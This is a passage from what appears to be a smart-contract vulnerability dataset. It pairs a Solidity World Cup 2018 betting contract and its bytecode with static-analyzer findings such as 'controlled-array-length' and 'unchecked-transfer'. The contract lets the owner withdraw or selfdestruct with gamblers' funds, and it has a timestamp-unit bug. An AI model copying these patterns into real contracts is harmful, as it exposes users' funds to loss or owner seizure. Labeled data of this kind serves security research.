00000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea2646970667358221220438eb84678fe60896b5a8f02c8cb7e13beb05d42e699f544e7605d7d84f69f6764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,830
0x3978fa77d9c4ba10699120505d4463af9629e39e
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract Adminable is Ownable { mapping(address => bool) public admins; modifier onlyAdmin() { require(admins[msg.sender]); _; } function addAdmin(address user) onlyOwner public { require(user != address(0)); admins[user] = true; } function removeAdmin(address user) onlyOwner public { require(user != address(0)); admins[user] = false; } } contract WorldCup2018Betsman is Destructible, Adminable { using SafeMath for uint256; struct Bet { uint256 amount; uint8 result; bool isReverted; bool isFree; bool isClaimed; } struct Game { string team1; string team2; uint date; bool ended; uint256 firstWinResultSum; uint256 drawResultSum; uint256 secondWinResultSum; uint8 result; } struct User { uint freeBets; uint totalGames; uint256[] games; uint statisticBets; uint statisticBetsSum; } mapping (uint => Game) public games; mapping (uint => uint[]) public gamesByDayOfYear; mapping (address => mapping(uint => Bet)) public bets; mapping (address => User) public users; uint public lastGameId = 0; uint public minBet = 0.001 ether; uint public maxBet = 1 ether; uint public betsCountToUseFreeBet = 3; Game game; Bet bet; modifier biggerMinBet() { require (msg.value >= minBet, "Bet value is lower min bet value."); _; } modifier lowerMaxBet() { require (msg.value <= maxBet, "Bet value is bigger max bet value."); _; } function hasBet(uint256 _gameId) view internal returns(bool){ return bets[msg.sender][_gameId].amount > 0; } modifier hasUserBet(uint256 _gameId) { require (hasBet(_gameId), "User did not bet this game."); _; } modifier hasNotUserBet(uint256 _gameId) { require(!hasBet(_gameId), "User has already bet this game."); _; } modifier hasFreeBets() { require (users[msg.sender].freeBets > 0, "User does not have free bets."); _; } modifier isGameExist(uint256 _gameId) { require(!(games[_gameId].ended), "Game does not exist."); _; } modifier isGameNotStarted(uint256 _gameId) { // stop making bets when 5 minutes till game start // 300000 = 1000 * 60 * 5 - 5 minutes require(games[_gameId].date > now + 300000, "Game has started."); _; } modifier isRightBetResult(uint8 _betResult) { require (_betResult > 0 && _betResult < 4); _; } function setMinBet(uint256 _minBet) external onlyAdmin { minBet = _minBet; } function setMaxBet(uint256 _maxBet) external onlyAdmin { maxBet = _maxBet; } function addFreeBet(address _gambler, uint _count) external onlyAdmin { users[_gambler].freeBets += _count; } function addGame(string _team1, string _team2, uint _date, uint _dayOfYear) external onlyAdmin { lastGameId += 1; games[lastGameId] = Game(_team1, _team2, _date, false, 0, 0, 0, 0); gamesByDayOfYear[_dayOfYear].push(lastGameId); } function setGameResult(uint _gameId, uint8 _result) external isGameExist(_gameId) isRightBetResult(_result) onlyAdmin { games[_gameId].ended = true; games[_gameId].result = _result; } function addBet(uint _gameId, uint8 _betResult, uint256 _amount, bool _isFree) internal{ bets[msg.sender][_gameId] = Bet(_amount, _betResult, false, _isFree, false); if(_betResult == 1){ games[_gameId].firstWinResultSum += _amount; } else if(_betResult == 2) { games[_gameId].drawResultSum += _amount; } else if(_betResult == 3) { games[_gameId].secondWinResultSum += _amount; } users[msg.sender].games.push(_gameId); users[msg.sender].totalGames += 1; } function betGame ( uint _gameId, uint8 _betResult ) external biggerMinBet lowerMaxBet isGameExist(_gameId) isGameNotStarted(_gameId) hasNotUserBet(_gameId) isRightBetResult(_betResult) payable { addBet(_gameId, _betResult, msg.value, false); users[msg.sender].statisticBets += 1; users[msg.sender].statisticBetsSum += msg.value; } function betFreeGame( uint _gameId, uint8 _betResult ) hasFreeBets isGameExist(_gameId) isGameNotStarted(_gameId) hasNotUserBet(_gameId) isRightBetResult(_betResult) external { require(users[msg.sender].statisticBets >= betsCountToUseFreeBet, "You need more bets to use free bet"); users[msg.sender].statisticBets -= betsCountToUseFreeBet; users[msg.sender].freeBets -= 1; addBet(_gameId, _betResult, minBet, true); } function revertBet(uint _gameId) hasUserBet(_gameId) isGameNotStarted(_gameId) external { bool isFree = bets[msg.sender][_gameId].isFree; require(!isFree, "You can not revert free bet"); bool isReverted = bets[msg.sender][_gameId].isReverted; require(!isReverted, "You can not revert already reverted bet"); uint256 amount = bets[msg.sender][_gameId].amount; uint256 betResult = bets[msg.sender][_gameId].result; if(betResult == 1){ games[_gameId].firstWinResultSum -= amount; } else if(betResult == 2) { games[_gameId].drawResultSum -= amount; } else if(betResult == 3) { games[_gameId].secondWinResultSum -= amount; } bets[msg.sender][_gameId].isReverted = true; msg.sender.transfer(amount.mul(9).div(10)); // return 90% of bet } function claimPrize(uint _gameId) hasUserBet(_gameId) public { address gambler = msg.sender; game = games[_gameId]; bet = bets[gambler][_gameId]; require(game.ended, "Game has not ended yet."); require(bet.result == game.result, "You did not win this game"); require(!bet.isReverted, "You can not claim reverted bet"); require(!bet.isClaimed, "You can not claim already claimed bet"); bets[gambler][_gameId].isClaimed = true; uint winResultSum = 0; uint prize = 0; if(game.result == 1){ winResultSum = game.firstWinResultSum; prize = game.drawResultSum + game.secondWinResultSum; } else if(game.result == 2) { winResultSum = game.drawResultSum; prize = game.firstWinResultSum + game.secondWinResultSum; } else if(game.result == 3) { winResultSum = game.secondWinResultSum; prize = game.firstWinResultSum + game.drawResultSum; } // prize = bet amount + (prize * (total result amount / bet amount)) * 80 %; uint gamblerPrize = prize.mul(bet.amount).mul(8).div(10).div(winResultSum); if(!bet.isFree){ gamblerPrize = bet.amount + gamblerPrize; } gambler.transfer(gamblerPrize); winResultSum = 0; prize = 0; gamblerPrize = 0; delete game; delete bet; } function getGamblerGameIds(address _gambler) public constant returns (uint256[]){ return users[_gambler].games; } function getGamesByDay(uint _dayOfYear) public constant returns (uint256[]){ return gamesByDayOfYear[_dayOfYear]; } function getGamblerBet(address _gambler, uint _gameId) public constant returns(uint, uint256, uint8, bool, bool, bool){ Bet storage tempBet = bets[_gambler][_gameId]; return ( _gameId, tempBet.amount, tempBet.result, tempBet.isReverted, tempBet.isFree, tempBet.isClaimed ); } function withdraw(uint amount) public onlyOwner { owner.transfer(amount); } constructor() public payable { addAdmin(msg.sender); games[1] = Game("RUS", "SAU", 1528984800000, false, 0, 0, 0, 0); gamesByDayOfYear[165] = [1]; games[2] = Game("EGY", "URG", 1529060400000, false, 0, 0, 0, 0); games[3] = Game("MAR", "IRN", 1529071200000, false, 0, 0, 0, 0); games[4] = Game("POR", "SPA", 1529082000000, false, 0, 0, 0, 0); gamesByDayOfYear[166] = [2,3,4]; games[5] = Game("FRA", "AUS", 1529139600000, false, 0, 0, 0, 0); games[6] = Game("ARG", "ISL", 1529150400000, false, 0, 0, 0, 0); games[7] = Game("PER", "DAN", 1529161200000, false, 0, 0, 0, 0); games[8] = Game("CRO", "NIG", 1529172000000, false, 0, 0, 0, 0); gamesByDayOfYear[167] = [5,6,7,8]; lastGameId = 8; } }
0x608060405260043610610169576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680623877331461016e5780630362d1f6146101a85780630cd78e9d1461023e578063117a5b901461028957806311bdfe19146103cf5780631785f53c146103fc5780632e1a7d4d1461043f5780632e5b21681461046c5780633ee9d64814610497578063429b62e5146104c257806347b40ba21461051d5780634a39ec901461055757806370480275146105e657806383197ef014610629578063881eff1e1461064057806388ea41b91461066d5780638da5cb5b1461069a578063912bcb79146106f15780639619367d1461071e5780639888004314610749578063a19638e6146107b0578063a87430ba146107db578063c422ed1914610847578063d709815414610894578063e2bc1971146108c1578063f2fde38b14610959578063f5074f411461099c578063fb11613e146109df575b600080fd5b34801561017a57600080fd5b506101a660048036038101908080359060200190929190803560ff169060200190929190505050610a61565b005b3480156101b457600080fd5b506101f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b604051808781526020018681526020018560ff1660ff168152602001841515151581526020018315151515815260200182151515158152602001965050505050505060405180910390f35b34801561024a57600080fd5b506102736004803603810190808035906020019092919080359060200190929190505050610c9b565b6040518082815260200191505060405180910390f35b34801561029557600080fd5b506102b460048036038101908080359060200190929190505050610ccb565b604051808060200180602001898152602001881515151581526020018781526020018681526020018581526020018460ff1660ff16815260200183810383528b818151815260200191508051906020019080838360005b8381101561032657808201518184015260208101905061030b565b50505050905090810190601f1680156103535780820380516001836020036101000a031916815260200191505b5083810382528a818151815260200191508051906020019080838360005b8381101561038c578082015181840152602081019050610371565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b3480156103db57600080fd5b506103fa60048036038101908080359060200190929190505050610e5d565b005b34801561040857600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137e565b005b34801561044b57600080fd5b5061046a60048036038101908080359060200190929190505050611470565b005b34801561047857600080fd5b50610481611536565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104ac61153c565b6040518082815260200191505060405180910390f35b3480156104ce57600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611542565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055560048036038101908080359060200190929190803560ff169060200190929190505050611562565b005b34801561056357600080fd5b506105a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611986565b604051808681526020018560ff1660ff1681526020018415151515815260200183151515158152602001821515151581526020019550505050505060405180910390f35b3480156105f257600080fd5b50610627600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119fd565b005b34801561063557600080fd5b5061063e611aee565b005b34801561064c57600080fd5b5061066b60048036038101908080359060200190929190505050611b83565b005b34801561067957600080fd5b5061069860048036038101908080359060200190929190505050611be5565b005b3480156106a657600080fd5b506106af611c47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61071c60048036038101908080359060200190929190803560ff169060200190929190505050611c6c565b005b34801561072a57600080fd5b50610733612030565b6040518082815260200191505060405180910390f35b34801561075557600080fd5b506107ae6004803603810190808035906020019082018035906020019190919293919293908035906020019082018035906020019190919293919293908035906020019092919080359060200190929190505050612036565b005b3480156107bc57600080fd5b506107c561224a565b6040518082815260200191505060405180910390f35b3480156107e757600080fd5b5061081c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612250565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561085357600080fd5b50610892600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612280565b005b3480156108a057600080fd5b506108bf6004803603810190808035906020019092919050505061232c565b005b3480156108cd57600080fd5b50610902600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612acb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561094557808201518184015260208101905061092a565b505050509050019250505060405180910390f35b34801561096557600080fd5b5061099a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b65565b005b3480156109a857600080fd5b506109dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c3f565b005b3480156109eb57600080fd5b50610a0a60048036038101908080359060200190929190505050612cb3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a4d578082015181840152602081019050610a32565b505050509050019250505060405180910390f35b816002600082815260200190815260200160002060030160009054906101000a900460ff16151515610afb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f47616d6520646f6573206e6f742065786973742e00000000000000000000000081525060200191505060405180910390fd5b8160008160ff16118015610b12575060048160ff16105b1515610b1d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b7557600080fd5b60016002600086815260200190815260200160002060030160006101000a81548160ff021916908315150217905550826002600086815260200190815260200160002060070160006101000a81548160ff021916908360ff16021790555050505050565b6000806000806000806000600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002090508781600001548260010160009054906101000a900460ff168360010160019054906101000a900460ff168460010160029054906101000a900460ff168560010160039054906101000a900460ff16965096509650965096509650509295509295509295565b600360205281600052604060002081815481101515610cb657fe5b90600052602060002001600091509150505481565b6002602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d775780601f10610d4c57610100808354040283529160200191610d77565b820191906000526020600020905b815481529060010190602001808311610d5a57829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e155780601f10610dea57610100808354040283529160200191610e15565b820191906000526020600020905b815481529060010190602001808311610df857829003601f168201915b5050505050908060020154908060030160009054906101000a900460ff16908060040154908060050154908060060154908060070160009054906101000a900460ff16905088565b60008060008084610e6d81612d1e565b1515610ee1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5573657220646964206e6f742062657420746869732067616d652e000000000081525060200191505060405180910390fd5b85620493e042016002600083815260200190815260200160002060020154111515610f74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f47616d652068617320737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060010160029054906101000a900460ff1695508515151561104d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f596f752063616e206e6f7420726576657274206672656520626574000000000081525060200191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060010160019054906101000a900460ff1694508415151561114c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f596f752063616e206e6f742072657665727420616c726561647920726576657281526020017f746564206265740000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888152602001908152602001600020600001549350600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060010160009054906101000a900460ff1660ff169250600183141561123a5783600260008981526020019081526020016000206004016000828254039250508190555061129c565b600283141561126c5783600260008981526020019081526020016000206005016000828254039250508190555061129b565b600383141561129a578360026000898152602001908152602001600020600601600082825403925050819055505b5b5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600089815260200190815260200160002060010160016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc611349600a61133b600989612d7d90919063ffffffff16565b612db590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611374573d6000803e3d6000fd5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561141557600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611532573d6000803e3d6000fd5b5050565b60085481565b60065481565b60016020528060005260406000206000915054906101000a900460ff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411151561161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5573657220646f6573206e6f742068617665206672656520626574732e00000081525060200191505060405180910390fd5b816002600082815260200190815260200160002060030160009054906101000a900460ff161515156116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f47616d6520646f6573206e6f742065786973742e00000000000000000000000081525060200191505060405180910390fd5b82620493e042016002600083815260200190815260200160002060020154111515611749576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f47616d652068617320737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b8361175381612d1e565b1515156117c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f557365722068617320616c72656164792062657420746869732067616d652e0081525060200191505060405180910390fd5b8360008160ff161180156117df575060048160ff16105b15156117ea57600080fd5b600954600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154101515156118cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f596f75206e656564206d6f7265206265747320746f207573652066726565206281526020017f657400000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600954600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825403925050819055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254039250508190555061197e86866007546001612dcb565b505050505050565b6004602052816000526040600020602052806000526040600020600091509150508060000154908060010160009054906101000a900460ff16908060010160019054906101000a900460ff16908060010160029054906101000a900460ff16908060010160039054906101000a900460ff16905085565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a5857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a9457600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611bdb57600080fd5b8060088190555050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c3d57600080fd5b8060078190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007543410151515611d0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4265742076616c7565206973206c6f776572206d696e206265742076616c756581526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6008543411151515611dac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f4265742076616c756520697320626967676572206d6178206265742076616c7581526020017f652e00000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b816002600082815260200190815260200160002060030160009054906101000a900460ff16151515611e46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f47616d6520646f6573206e6f742065786973742e00000000000000000000000081525060200191505060405180910390fd5b82620493e042016002600083815260200190815260200160002060020154111515611ed9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f47616d652068617320737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b83611ee381612d1e565b151515611f58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f557365722068617320616c72656164792062657420746869732067616d652e0081525060200191505060405180910390fd5b8360008160ff16118015611f6f575060048160ff16105b1515611f7a57600080fd5b611f878686346000612dcb565b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000828254019250508190555034600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550505050505050565b60075481565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561208e57600080fd5b60016006600082825401925050819055506101006040519081016040528087878080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050815260200185858080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152602001838152602001600015158152602001600081526020016000815260200160008152602001600060ff16815250600260006006548152602001908152602001600020600082015181600001908051906020019061217992919061303c565b50602082015181600101908051906020019061219692919061303c565b506040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015560a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff021916908360ff160217905550905050600360008281526020019081526020016000206006549080600181540180825580915050906001820390600052602060002001600090919290919091505550505050505050565b60095481565b60056020528060005260406000206000915090508060000154908060010154908060030154908060040154905084565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156122d857600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825401925050819055505050565b6000806000808461233c81612d1e565b15156123b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5573657220646964206e6f742062657420746869732067616d652e000000000081525060200191505060405180910390fd5b33945060026000878152602001908152602001600020600a600082018160000190805460018160011615610100020316600290046123ef9291906130bc565b50600182018160010190805460018160011615610100020316600290046124179291906130bc565b50600282015481600201556003820160009054906101000a900460ff168160030160006101000a81548160ff0219169083151502179055506004820154816004015560058201548160050155600682015481600601556007820160009054906101000a900460ff168160070160006101000a81548160ff021916908360ff160217905550905050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008781526020019081526020016000206012600082015481600001556001820160009054906101000a900460ff168160010160006101000a81548160ff021916908360ff1602179055506001820160019054906101000a900460ff168160010160016101000a81548160ff0219169083151502179055506001820160029054906101000a900460ff168160010160026101000a81548160ff0219169083151502179055506001820160039054906101000a900460ff168160010160036101000a81548160ff021916908315150217905550905050600a60030160009054906101000a900460ff161515612639576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f47616d6520686173206e6f7420656e646564207965742e00000000000000000081525060200191505060405180910390fd5b600a60070160009054906101000a900460ff1660ff16601260010160009054906101000a900460ff1660ff161415156126da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f596f7520646964206e6f742077696e20746869732067616d650000000000000081525060200191505060405180910390fd5b601260010160019054906101000a900460ff16151515612762576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f752063616e206e6f7420636c61696d20726576657274656420626574000081525060200191505060405180910390fd5b601260010160039054906101000a900460ff16151515612810576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f596f752063616e206e6f7420636c61696d20616c726561647920636c61696d6581526020017f642062657400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060010160036101000a81548160ff02191690831515021790555060009350600092506001600a60070160009054906101000a900460ff1660ff1614156128be57600a600401549350600a60060154600a60050154019250612930565b6002600a60070160009054906101000a900460ff1660ff1614156128f857600a600501549350600a60060154600a6004015401925061292f565b6003600a60070160009054906101000a900460ff1660ff16141561292e57600a600601549350600a60050154600a600401540192505b5b5b61298084612972600a61296460086129566012600001548a612d7d90919063ffffffff16565b612d7d90919063ffffffff16565b612db590919063ffffffff16565b612db590919063ffffffff16565b9150601260010160029054906101000a900460ff1615156129a657816012600001540191505b8473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156129ec573d6000803e3d6000fd5b50600093506000925060009150600a60008082016000612a0c9190613143565b600182016000612a1c9190613143565b60028201600090556003820160006101000a81549060ff02191690556004820160009055600582016000905560068201600090556007820160006101000a81549060ff0219169055505060126000808201600090556001820160006101000a81549060ff02191690556001820160016101000a81549060ff02191690556001820160026101000a81549060ff02191690556001820160036101000a81549060ff02191690555050505050505050565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015612b5957602002820191906000526020600020905b815481526020019060010190808311612b45575b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612bc057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612bfc57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c9a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b606060036000838152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015612d1257602002820191906000526020600020905b815481526020019060010190808311612cfe575b50505050509050919050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000154119050919050565b600080831415612d905760009050612daf565b8183029050818382811515612da157fe5b04141515612dab57fe5b8090505b92915050565b60008183811515612dc257fe5b04905092915050565b60a0604051908101604052808381526020018460ff168152602001600015158152602001821515815260200160001515815250600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff021916908360ff16021790555060408201518160010160016101000a81548160ff02191690831515021790555060608201518160010160026101000a81548160ff02191690831515021790555060808201518160010160036101000a81548160ff02191690831515021790555090505060018360ff161415612f1157816002600086815260200190815260200160002060040160008282540192505081905550612f79565b60028360ff161415612f4657816002600086815260200190815260200160002060050160008282540192505081905550612f78565b60038360ff161415612f77578160026000868152602001908152602001600020600601600082825401925050819055505b5b5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018490806001815401808255809150509060018203906000526020600020016000909192909190915055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254019250508190555050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061307d57805160ff19168380011785556130ab565b828001600101855582156130ab579182015b828111156130aa57825182559160200191906001019061308f565b5b5090506130b8919061318b565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106130f55780548555613132565b8280016001018555821561313257600052602060002091601f016020900482015b82811115613131578254825591600101919060010190613116565b5b50905061313f919061318b565b5090565b50805460018160011615610100020316600290046000825580601f106131695750613188565b601f016020900490600052602060002090810190613187919061318b565b5b50565b6131ad91905b808211156131a9576000816000905550600101613191565b5090565b905600a165627a7a72305820907f489502ccda1178be1f56419d129d53930e5d8e37d4eadcc10306a5f900dd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,831
0x3ee016cdcaab16ebf4ec1eda758606f6fd874a57
